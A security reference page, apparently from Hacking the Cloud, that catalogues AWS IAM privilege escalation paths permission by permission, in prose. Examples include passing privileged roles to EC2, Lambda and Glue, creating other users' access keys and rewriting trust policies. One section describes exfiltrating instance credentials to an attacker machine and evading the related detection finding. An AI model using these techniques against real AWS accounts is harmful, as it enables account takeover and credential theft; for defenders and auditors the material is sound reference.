href=#iampassrole-autoscalingcreateautoscalinggroup-or-autoscalingupdateautoscalinggroup-ec2createlaunchtemplate class=md-nav__link> <span class=md-ellipsis> iam:PassRole, autoscaling:CreateAutoScalingGroup or autoscaling:UpdateAutoScalingGroup, ec2:CreateLaunchTemplate </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-cloudformationcreatestack class=md-nav__link> <span class=md-ellipsis> iam:PassRole, cloudformation:CreateStack </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-codestarcreateproject class=md-nav__link> <span class=md-ellipsis> iam:PassRole, codestar:CreateProject </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-datapipelineactivatepipeline-datapipelinecreatepipeline-datapipelineputpipelinedefinition class=md-nav__link> <span class=md-ellipsis> iam:PassRole, datapipeline:ActivatePipeline, datapipeline:CreatePipeline, datapipeline:PutPipelineDefinition </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-ec2runinstances class=md-nav__link> <span class=md-ellipsis> iam:PassRole, ec2:RunInstances </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-gluecreatedevendpoint class=md-nav__link> <span class=md-ellipsis> iam:PassRole, glue:CreateDevEndpoint </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-gluecreatejob class=md-nav__link> <span class=md-ellipsis> iam:PassRole, glue:CreateJob </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-glueupdatejob class=md-nav__link> <span class=md-ellipsis> iam:PassRole, glue:UpdateJob </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-lambdaaddpermission-lambdacreatefunction class=md-nav__link> <span class=md-ellipsis> iam:PassRole, lambda:AddPermission, lambda:CreateFunction </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-lambdacreateeventsourcemapping-lambdacreatefunction class=md-nav__link> <span class=md-ellipsis> iam:PassRole, lambda:CreateEventSourceMapping, lambda:CreateFunction </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-lambdacreatefunction-lambdainvokefunction class=md-nav__link> <span class=md-ellipsis> iam:PassRole, lambda:CreateFunction, lambda:InvokeFunction </span> </a> </li> <li class=md-nav__item> <a href=#iamputgrouppolicy class=md-nav__link> <span class=md-ellipsis> iam:PutGroupPolicy </span> </a> </li> <li class=md-nav__item> <a href=#iamputrolepermissionsboundary class=md-nav__link> <span class=md-ellipsis> iam:PutRolePermissionsBoundary </span> </a> </li> <li class=md-nav__item> <a href=#iamputrolepolicy class=md-nav__link> <span class=md-ellipsis> iam:PutRolePolicy </span> </a> </li> <li class=md-nav__item> <a href=#iamputuserpermissionsboundary class=md-nav__link> <span class=md-ellipsis> iam:PutUserPermissionsBoundary </span> </a> </li> <li class=md-nav__item> <a href=#iamputuserpolicy class=md-nav__link> <span class=md-ellipsis> iam:PutUserPolicy </span> </a> </li> <li class=md-nav__item> <a href=#iamsetdefaultpolicyversion class=md-nav__link> <span class=md-ellipsis> iam:SetDefaultPolicyVersion </span> </a> </li> <li class=md-nav__item> <a href=#iamupdateassumerolepolicy class=md-nav__link> <span class=md-ellipsis> iam:UpdateAssumeRolePolicy </span> </a> </li> <li class=md-nav__item> <a href=#iamupdateloginprofile class=md-nav__link> <span class=md-ellipsis> iam:UpdateLoginProfile </span> </a> </li> <li class=md-nav__item> <a href=#lambdaupdatefunctioncode class=md-nav__link> <span class=md-ellipsis> lambda:UpdateFunctionCode </span> </a> </li> <li class=md-nav__item> <a href=#lambdaupdatefunctionconfiguration class=md-nav__link> <span class=md-ellipsis> lambda:UpdateFunctionConfiguration </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/exploitation/iam_privilege_escalation.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>AWS IAM Privilege Escalation Techniques</h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <p><aside style=display:flex> <p><a href=https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/ >AWS IAM Privilege Escalation – Methods and Mitigation</a> by <a href=https://twitter.com/SpenGietz>Spencer Gietzen</a></p> <p><a class=glightbox href=/images/researchers/spencer_gietzen.jpg data-type=image data-width=auto data-height=auto data-desc-position=bottom><img src=/images/researchers/spencer_gietzen.jpg alt="Spencer Gietzen" style=width:44px;height:44px;margin:5px;border-radius:100%;max-width:unset></a></p> </aside></p> </li> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M18 22a2 2 0 0 0 2-2V4a2 2 0 0 0-2-2h-6v7L9.5 7.5 7 9V2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2z"/></svg></span> <strong>Additional Resources</strong></p> <hr> <ul> <li><a href=https://github.com/RhinoSecurityLabs/AWS-IAM-Privilege-Escalation>AWS IAM Privilege Escalation Methods</a></li> <li><a href=https://bishopfox.com/blog/privilege-escalation-in-aws>Well, That Escalated Quickly: Privilege Escalation in AWS</a> by <a href=https://bishopfox.com/authors/gerben-kleijn>Gerben Kleijn</a></li> </ul> </li> </ul> </div> <div class="admonition note"> <p class=admonition-title>Note</p> <p>If you'd like to get hands on experience exploiting these misconfigurations, check out <a href=https://github.com/BishopFox/iam-vulnerable>iam-vulnerable</a> by <a href=https://twitter.com/sethsec>Seth Art</a>.</p> </div> <h2 id=codestarcreateproject-codestarassociateteammember>codestar:CreateProject, codestar:AssociateTeamMember<a class=headerlink href=#codestarcreateproject-codestarassociateteammember title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/codestar/create-project.html>codestar:CreateProject</a> and <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/codestar/associate-team-member.html>codestar:AssociateTeamMember</a> permissions, an adversary can create a new <a href=https://aws.amazon.com/codestar/ >CodeStar</a> project and associate themselves as an Owner of the project.</p> <p>This will attach a new policy to the user that provides access to a number of permissions for AWS services. This is most useful for further enumeration as it gives access to lambda:List*, iam:ListRoles, iam:ListUsers, and more.</p> <figure> <p><a class=glightbox href=../../../images/aws/exploitation/iam_privilege_escalation/codestar_associate.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Using codestar:AssociateTeamMember" loading=lazy src=../../../images/aws/exploitation/iam_privilege_escalation/codestar_associate.png></a></p> </figure> <figure> <p><a class=glightbox href=../../../images/aws/exploitation/iam_privilege_escalation/codestar_policy.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Showing the CodeStar policy" loading=lazy src=../../../images/aws/exploitation/iam_privilege_escalation/codestar_policy.png></a></p> </figure> <h2 id=glueupdatedevendpoint>glue:UpdateDevEndpoint<a class=headerlink href=#glueupdatedevendpoint title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/glue/update-dev-endpoint.html>glue:UpdateDevEndpoint</a> permission, an adversary can update the existing SSH key associated with the glue endpoint. This will allow the adversary to SSH into the host and gain access to IAM credentials associated with the role attached to the glue endpoint. Though not required, it may be helpful to have the <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/glue/get-dev-endpoint.html>glue:GetDevEndpoint</a> permission as well, if the existing endpoint cannot be identified via other means. </p> <h2 id=iamaddusertogroup>iam:AddUserToGroup<a class=headerlink href=#iamaddusertogroup title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/add-user-to-group.html>iam:AddUserToGroup</a> permission, an adversary can add an IAM user they control to an existing group with more privileges. Although this is not required, it may be helpful to have other permissions in the IAM family to identify other groups and their privileges. </p> <h2 id=iamattachgrouppolicy>iam:AttachGroupPolicy<a class=headerlink href=#iamattachgrouppolicy title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/attach-group-policy.html>iam:AttachGroupPolicy</a> permission, an adversary can attach an IAM policy to a group they are a member of. This potentially includes policies such as AdministratorAccess, which would provide them (surprise) administrator access to the AWS account.</p> <h2 id=iamattachrolepolicy>iam:AttachRolePolicy<a class=headerlink href=#iamattachrolepolicy title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/attach-role-policy.html>iam:AttachRolePolicy</a> permission, an adversary can attach an IAM policy to a role they have access to. This potentially includes policies such as AdministratorAccess, which would provide them administrator access to the AWS account.</p> <h2 id=iamattachuserpolicy>iam:AttachUserPolicy<a class=headerlink href=#iamattachuserpolicy title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/attach-user-policy.html>iam:AttachUserPolicy</a> permission, an adversary can attach an IAM policy to an IAM user they have access to. This potentially includes policies such as AdministratorAccess, which would provide them administrator access to the AWS account.</p> <h2 id=iamcreateaccesskey>iam:CreateAccessKey<a class=headerlink href=#iamcreateaccesskey title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/create-access-key.html>iam:CreateAccessKey</a> permission, an adversary can create an IAM Access Key and Secret Access Key for other users. This would allow them to create credentials for more privileged users and have access to their privileges.</p> <figure> <p><a class=glightbox href=../../../images/aws/exploitation/iam_privilege_escalation/create_access_key.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Showing iam:CreateAccessKey" loading=lazy src=../../../images/aws/exploitation/iam_privilege_escalation/create_access_key.png></a></p> </figure> <h2 id=iamcreateloginprofile>iam:CreateLoginProfile<a class=headerlink href=#iamcreateloginprofile title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/create-login-profile.html>iam:CreateLoginProfile</a> permission, an adversary can create a password for a more privileged IAM user to login to the console as. Note: if a password is already set, you must use <a href=https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#iamupdateloginprofile>iam:UpdateLoginProfile</a> instead.</p> <h2 id=iamcreatepolicyversion>iam:CreatePolicyVersion<a class=headerlink href=#iamcreatepolicyversion title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/create-policy-version.html>iam:CreatePolicyVersion</a> permission, an adversary can create a new version of a existing policy with more privilege. If the adversary has access to the principal that policy is attached to, they can elevate their privileges.</p> <h2 id=iamdeleterolepermissionsboundary>iam:DeleteRolePermissionsBoundary<a class=headerlink href=#iamdeleterolepermissionsboundary title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://docs.aws.amazon.com/cli/latest/reference/iam/delete-role-permissions-boundary.html>iam:DeleteRolePermissionsBoundary</a> permission, an adversary can remove a permissions boundary from a role they have access to. This may increase the role's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies. </p> <h2 id=iamdeleterolepolicy>iam:DeleteRolePolicy<a class=headerlink href=#iamdeleterolepolicy title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://docs.aws.amazon.com/cli/latest/reference/iam/delete-role-policy.html>iam:DeleteRolePolicy</a> permission, an adversary can delete an inline policy from a role they have access to. This may increase the role's effective permissions if the policy contains explicit deny statements that any of the role's other policies allow.</p> <h2 id=iamdeleteuserpermissionsboundary>iam:DeleteUserPermissionsBoundary<a class=headerlink href=#iamdeleteuserpermissionsboundary title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://docs.aws.amazon.com/cli/latest/reference/iam/delete-user-permissions-boundary.html>iam:DeleteUserPermissionsBoundary</a> permission, an adversary can remove a permissions boundary from a user they have access to. This may increase the user's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies. </p> <h2 id=iamdeleteuserpolicy>iam:DeleteUserPolicy<a class=headerlink href=#iamdeleteuserpolicy title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://docs.aws.amazon.com/cli/latest/reference/iam/delete-user-policy.html>iam:DeleteUserPolicy</a> permission, an adversary can delete an inline policy from a user they have access to. This may increase the user's effective permissions if the policy contains explicit deny statements that any of the user's other policies allow.</p> <h2 id=iamdetachrolepolicy>iam:DetachRolePolicy<a class=headerlink href=#iamdetachrolepolicy title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://docs.aws.amazon.com/cli/latest/reference/iam/detach-role-policy.html>iam:DetachRolePolicy</a> permission, an adversary can remove a managed policy from a role they have access to. This may increase the role's effective permissions if the policy contains explicit deny statements that any of the role's other policies allow.</p> <h2 id=iamdetachuserpolicy>iam:DetachUserPolicy<a class=headerlink href=#iamdetachuserpolicy title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://docs.aws.amazon.com/cli/latest/reference/iam/detach-user-policy.html>iam:DetachUserPolicy</a> permission, an adversary can remove a managed policy from a user they have access to. This may increase the user's effective permissions if the policy contains explicit deny statements that any of the user's other policies allow.</p> <h2 id=iampassrole-autoscalingcreateautoscalinggroup-or-autoscalingupdateautoscalinggroup-autoscalingcreatelaunchconfiguration>iam:PassRole, autoscaling:CreateAutoScalingGroup or autoscaling:UpdateAutoScalingGroup, autoscaling:CreateLaunchConfiguration,<a class=headerlink href=#iampassrole-autoscalingcreateautoscalinggroup-or-autoscalingupdateautoscalinggroup-autoscalingcreatelaunchconfiguration title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_examples_iam-passrole-service.html>iam:PassRole</a>, <a href=https://docs.aws.amazon.com/autoscaling/ec2/APIReference/API_CreateLaunchConfiguration.html>autoscaling:CreateLaunchConfiguration</a>, <a href=https://docs.aws.amazon.com/autoscaling/ec2/APIReference/API_CreateAutoScalingGroup.html>autoscaling:CreateAutoScalingGroup</a>, and <a href=https://docs.aws.amazon.com/autoscaling/ec2/APIReference/API_UpdateAutoScalingGroup.html>autoscaling:UpdateAutoScalingGroup</a> permissions, an adversary can create a launch configuration and leverage it in an autoscaling group to pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role.</p> <h2 id=iampassrole-autoscalingcreateautoscalinggroup-or-autoscalingupdateautoscalinggroup-ec2createlaunchtemplate>iam:PassRole, autoscaling:CreateAutoScalingGroup or autoscaling:UpdateAutoScalingGroup, ec2:CreateLaunchTemplate<a class=headerlink href=#iampassrole-autoscalingcreateautoscalinggroup-or-autoscalingupdateautoscalinggroup-ec2createlaunchtemplate title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_examples_iam-passrole-service.html>iam:PassRole</a>, <a href=https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateLaunchTemplate.html>ec2:CreateLaunchTemplate</a>, <a href=https://docs.aws.amazon.com/autoscaling/ec2/APIReference/API_CreateAutoScalingGroup.html>autoscaling:CreateAutoScalingGroup</a>, and <a href=https://docs.aws.amazon.com/autoscaling/ec2/APIReference/API_UpdateAutoScalingGroup.html>autoscaling:UpdateAutoScalingGroup</a> permissions, an adversary can create a launch template and leverage it in an autoscaling group to pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role.</p> <h2 id=iampassrole-cloudformationcreatestack>iam:PassRole, cloudformation:CreateStack<a class=headerlink href=#iampassrole-cloudformationcreatestack title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_examples_iam-passrole-service.html>iam:PassRole</a> and <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudformation/create-stack.html>cloudformation:CreateStack</a> permissions, an adversary can create a new CloudFormation stack and pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role.</p> <h2 id=iampassrole-codestarcreateproject>iam:PassRole, codestar:CreateProject<a class=headerlink href=#iampassrole-codestarcreateproject title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_examples_iam-passrole-service.html>iam:PassRole</a> and <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/codestar/create-project.html>codestar:CreateProject</a> permissions, an adversary can create a new CodeStar project and pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role including that of an administrator.</p> <h2 id=iampassrole-datapipelineactivatepipeline-datapipelinecreatepipeline-datapipelineputpipelinedefinition>iam:PassRole, datapipeline:ActivatePipeline, datapipeline:CreatePipeline, datapipeline:PutPipelineDefinition<a class=headerlink href=#iampassrole-datapipelineactivatepipeline-datapipelinecreatepipeline-datapipelineputpipelinedefinition title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_examples_iam-passrole-service.html>iam:PassRole</a>, <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/datapipeline/activate-pipeline.html>datapipeline:ActivatePipeline</a>, <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/datapipeline/create-pipeline.html>datapipeline:CreatePipeline</a>, and <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/datapipeline/put-pipeline-definition.html>datapipeline:PutPipelineDefinition</a> permissions, an adversary can create a new pipeline and pass in a more privileged role. It is worth noting that to do this the AWS account must already contain a role that can be assumed by DataPipeline and that role must have greater privileges (or at least different ones) than the principal the adversary controls.</p> <h2 id=iampassrole-ec2runinstances>iam:PassRole, ec2:RunInstances<a class=headerlink href=#iampassrole-ec2runinstances title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_examples_iam-passrole-service.html>iam:PassRole</a> and <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/run-instances.html>ec2:RunInstances</a> permissions, an adversary can create a new EC2 instance and pass a more privileged role to it.</p> <p>This can be taken advantage of with the following one-liner:</p> <figure> <p><a class=glightbox href=../../../images/aws/exploitation/iam_privilege_escalation/ec2_pass_role_one_liner.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="ec2 run-instances one-liner" loading=lazy src=../../../images/aws/exploitation/iam_privilege_escalation/ec2_pass_role_one_liner.png></a></p> </figure> <p>Some things to note: The instance profile must already exist, and (realistically) it must have greater permissions than the role you have access to. If you also have the ability to create a role, this can be leveraged (although you may as well set the trust policy of that role to one you control at that point). The role that is being passed must have a trust policy allowing the EC2 service to assume it. You cannot pass arbitrary roles to an EC2 instance.</p> <p>A common misconception about this attack is that an adversary must have access to an existing SSH key, or be able to spawn an SSM session. This is not actually true, you can leverage <a href=https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/ >user data</a> to perform an action on the host. One common example is to have the EC2 instance curl the metadata service, retrieve the IAM credentials, and then send them to an attacker controlled machine using curl.</p> <p>Another (stealthier) example would be to perform all your API operations at once in the user-data script. This way you are not dinged with the IAM credential exfiltration finding (which can be <a href=https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/ >bypassed</a>).</p> <h2 id=iampassrole-gluecreatedevendpoint>iam:PassRole, glue:CreateDevEndpoint<a class=headerlink href=#iampassrole-gluecreatedevendpoint title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_examples_iam-passrole-service.html>iam:PassRole</a> and <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/glue/create-dev-endpoint.html>glue:CreateDevEndpoint</a> permissions, an adversary can create a new Glue development endpoint and pass in a more privileged role. It is worth noting that to do this the AWS account must already contain a role that can be assumed by Glue and that role must have greater privileges (or at least different ones) than the principal the adversary controls.</p> <h2 id=iampassrole-gluecreatejob>iam:PassRole, glue:CreateJob<a class=headerlink href=#iampassrole-gluecreatejob title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_examples_iam-passrole-service.html>iam:PassRole</a> and <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/glue/create-job.html>glue:CreateJob</a> permissions, an adversary can create a new Glue job and pass in a more privileged role. The AWS account must already contain a role that can be assumed by Glue and that role must have greater privileges (or at least different ones) than the principal the adversary controls. The <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/glue/start-job-run.html>glue:StartJobRun</a> privilege would allow for the job to be run.</p> <h2 id=iampassrole-glueupdatejob>iam:PassRole, glue:UpdateJob<a class=headerlink href=#iampassrole-glueupdatejob title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_examples_iam-passrole-service.html>iam:PassRole</a> and <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/glue/update-job.html>glue:UpdateJob</a> permissions, an adversary can update the role and command associated with a Glue job. The AWS account must already contain a role that can be assumed by Glue and that role must have greater privileges (or at least different ones) than the principal the adversary controls. The <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/glue/start-job-run.html>glue:StartJobRun</a> privilege or some pre-existing trigger could cause the job to run.</p> <h2 id=iampassrole-lambdaaddpermission-lambdacreatefunction>iam:PassRole, lambda:AddPermission, lambda:CreateFunction<a class=headerlink href=#iampassrole-lambdaaddpermission-lambdacreatefunction title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_examples_iam-passrole-service.html>iam:PassRole</a>, <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/add-permission.html>lambda:AddPermission</a>, and <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/create-function.html>lambda:CreateFunction</a> permissions, an adversary can create a Lambda function with an existing role. This function could then by updated with lambda:AddPermission to allow another principal in another AWS account the permission to invoke it. It is worth noting that the AWS account must already contain a role that can be assumed by Lambda.</p> <h2 id=iampassrole-lambdacreateeventsourcemapping-lambdacreatefunction>iam:PassRole, lambda:CreateEventSourceMapping, lambda:CreateFunction<a class=headerlink href=#iampassrole-lambdacreateeventsourcemapping-lambdacreatefunction title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_examples_iam-passrole-service.html>iam:PassRole</a>, <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/create-event-source-mapping.html>lambda:CreateEventSourceMapping</a>, and <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/create-function.html>lambda:CreateFunction</a> permissions, an adversary can create a Lambda function with an existing privileged role and associating it with a DynamoDB table. Then, when a new record is inserted into the table, the Lambda function will trigger with the privilege of the passed in role.</p> <p>It is worth noting that the AWS account must already contain a role that can be assumed by Lambda. Additionally, while not required, it may be beneficial to have the <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/dynamodb/create-table.html>dynamodb:CreateTable</a> and <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/dynamodb/put-item.html>dynamodb:PutItem</a> permissions to trigger this yourself.</p> <h2 id=iampassrole-lambdacreatefunction-lambdainvokefunction>iam:PassRole, lambda:CreateFunction, lambda:InvokeFunction<a class=headerlink href=#iampassrole-lambdacreatefunction-lambdainvokefunction title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_examples_iam-passrole-service.html>iam:PassRole</a>, <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/create-function.html>lambda:CreateFunction</a>, and <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/invoke.html>lambda:InvokeFunction</a> permissions, an adversary can create a new Lambda function and pass an existing role to it. They can then invoke the function allowing them access to the privileges of the role associated with the function. It is worth noting that unless the adversary can create a role, they must use an already existing role that can be assumed by Lambda.</p> <h2 id=iamputgrouppolicy>iam:PutGroupPolicy<a class=headerlink href=#iamputgrouppolicy title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/put-group-policy.html>iam:PutGroupPolicy</a> permission, an adversary can create an inline policy for a group they are in and give themselves administrator access to the AWS account.</p> <h2 id=iamputrolepermissionsboundary>iam:PutRolePermissionsBoundary<a class=headerlink href=#iamputrolepermissionsboundary title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://docs.aws.amazon.com/cli/latest/reference/iam/put-role-permissions-boundary.html>iam:PutRolePermissionsBoundary</a> permission, an adversary can update a permissions boundary attached to a role they have access to. This may increase the role's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies. </p> <h2 id=iamputrolepolicy>iam:PutRolePolicy<a class=headerlink href=#iamputrolepolicy title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/put-role-policy.html>iam:PutRolePolicy</a> permission, an adversary can create an inline policy for a role they have access to and give themselves administrator access to the AWS account.</p> <h2 id=iamputuserpermissionsboundary>iam:PutUserPermissionsBoundary<a class=headerlink href=#iamputuserpermissionsboundary title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://docs.aws.amazon.com/cli/latest/reference/iam/put-user-permissions-boundary.html>iam:PutUserPermissionsBoundary</a> permission, an adversary can update a permissions boundary attached to a user they have access to. This may increase the user's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies. </p> <h2 id=iamputuserpolicy>iam:PutUserPolicy<a class=headerlink href=#iamputuserpolicy title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/put-user-policy.html>iam:PutUserPolicy</a> permission, an adversary can create an inline policy for a user they have access to and give themselves administrator access to the AWS account.</p> <h2 id=iamsetdefaultpolicyversion>iam:SetDefaultPolicyVersion<a class=headerlink href=#iamsetdefaultpolicyversion title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/set-default-policy-version.html>iam:SetDefaultPolicyVersion</a> permission, an adversary can revert a policy associated with their principal to a previous version. This is useful for scenarios in which a previous version of a policy had more access than the current version.</p> <h2 id=iamupdateassumerolepolicy>iam:UpdateAssumeRolePolicy<a class=headerlink href=#iamupdateassumerolepolicy title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/update-assume-role-policy.html>iam:UpdateAssumeRolePolicy</a> permission, an adversary can modify the assume-role policy of a role, allowing them to assume it. This is useful to gain access to administrator roles, or other more privileged roles.</p> <h2 id=iamupdateloginprofile>iam:UpdateLoginProfile<a class=headerlink href=#iamupdateloginprofile title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/update-login-profile.html>iam:UpdateLoginProfile</a> permission, an adversary can change the password of an IAM user. This would allow them to log into the console as that user.</p> <h2 id=lambdaupdatefunctioncode>lambda:UpdateFunctionCode<a class=headerlink href=#lambdaupdatefunctioncode title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/update-function-code.html>lambda:UpdateFunctionCode</a> permission, an adversary can modify an existing Lambda function's code. This would allow them to gain access to the privileges of the associated IAM role the next time the function is executed.</p> <h2 id=lambdaupdatefunctionconfiguration>lambda:UpdateFunctionConfiguration<a class=headerlink href=#lambdaupdatefunctionconfiguration title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/update-function-configuration.html>lambda:UpdateFunctionConfiguration</a> permission, an adversary can modify an existing Lambda function's configuration to add a new Lambda Layer. This Layer would then override an existing library and allow an adversary to execute malicious code under the privilege of the role associated with the Lambda function.</p> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">November 21, 2024</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 